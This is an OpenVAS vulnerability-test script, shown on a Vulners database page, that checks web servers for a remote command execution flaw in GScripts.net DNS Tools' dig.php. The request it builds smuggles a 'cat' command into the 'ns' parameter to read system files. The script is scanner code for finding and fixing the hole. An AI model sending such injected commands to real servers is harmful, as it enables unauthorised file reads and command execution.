Lucene search
K

GScripts.net DNS Tools 'dig.php' Remote Command Execution Vulnerability

🗓️ 02 May 2009 00:00:00Reported by This script is Copyright (C) 2009 Greenbone Networks GmbHType 
openvas
 openvas
🔗 plugins.openvas.org👁 21 Views

GScripts.net DNS Tools 'dig.php' Remote Command Execution Vulnerability - Allows remote command execution due to inadequate input sanitation

Related
Refs
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2009-1361
16 Apr 200900:00
circl
Circl
CVE-2009-1916
16 Apr 200900:00
circl
CVE
CVE-2009-1361
22 Apr 200918:00
cve
CVE
CVE-2009-1916
4 Jun 200917:00
cve
Cvelist
CVE-2009-1361
22 Apr 200918:00
cvelist
Cvelist
CVE-2009-1916
4 Jun 200917:00
cvelist
EUVD
EUVD-2009-1359
7 Oct 202500:30
euvd
EUVD
EUVD-2009-1911
7 Oct 202500:30
euvd
Tenable Nessus
Fedora 12 : xinha-0.96.1-1.fc12 (2010-9260)
1 Jul 201000:00
nessus
Tenable Nessus
Fedora 13 : xinha-0.96.1-2.fc13 (2010-9320)
1 Jul 201000:00
nessus
Rows per page
SourceLink
securityfocuswww.securityfocus.com/bid/34559
###############################################################################
# OpenVAS Vulnerability Test
# $Id: GScripts_cve_2009_1361.nasl 5767 2017-03-29 13:32:35Z cfi $
#
# GScripts.net DNS Tools 'dig.php' Remote Command Execution
# Vulnerability
#
# Authors:
# Michael Meyer
#
# Copyright:
# Copyright (c) 2009 Greenbone Networks GmbH
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

tag_summary = "GScripts.net DNS Tools is prone to a remote command-execution
  vulnerability because the software fails to adequately sanitize
  user-supplied input.

  Successful attacks can compromise the affected software and possibly
  the computer.";

if (description)
{
 script_id(100182);
 script_version("$Revision: 5767 $");
 script_tag(name:"last_modification", value:"$Date: 2017-03-29 15:32:35 +0200 (Wed, 29 Mar 2017) $");
 script_tag(name:"creation_date", value:"2009-05-02 19:46:33 +0200 (Sat, 02 May 2009)");
 script_bugtraq_id(34559);
 script_cve_id("CVE-2009-1361", "CVE-2009-1916");
 script_tag(name:"cvss_base", value:"10.0");
 script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
 script_name("GScripts.net DNS Tools 'dig.php' Remote Command Execution Vulnerability");
 script_tag(name:"qod_type", value:"remote_vul");
 script_category(ACT_ATTACK);
 script_family("Web application abuses");
 script_copyright("This script is Copyright (C) 2009 Greenbone Networks GmbH");
 script_dependencies("find_service.nasl", "http_version.nasl");
 script_require_ports("Services/www", 80);
 script_exclude_keys("Settings/disable_cgi_scanning");
 script_tag(name : "summary" , value : tag_summary);
 script_xref(name : "URL" , value : "http://www.securityfocus.com/bid/34559");
 exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

port = get_http_port(default:80);
if(!can_host_php(port:port))exit(0);

files = traversal_files( "linux" );

foreach dir( make_list_unique( "/whois", "/dns_tools", cgi_dirs( port:port ) ) ) { 

  if( dir == "/" ) dir = "";

  foreach file (keys(files)) {

    url = string(dir, "/dig.php?ns=||cat%20/",files[file],"&host=example.org&query_type=NS&status=digging");

    if(http_vuln_check(port:port, url:url,pattern:file)) {
      report = report_vuln_url( port:port, url:url );
      security_message( port:port, data:report );
      exit( 0 );
    }
  }
}

exit( 99 );

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation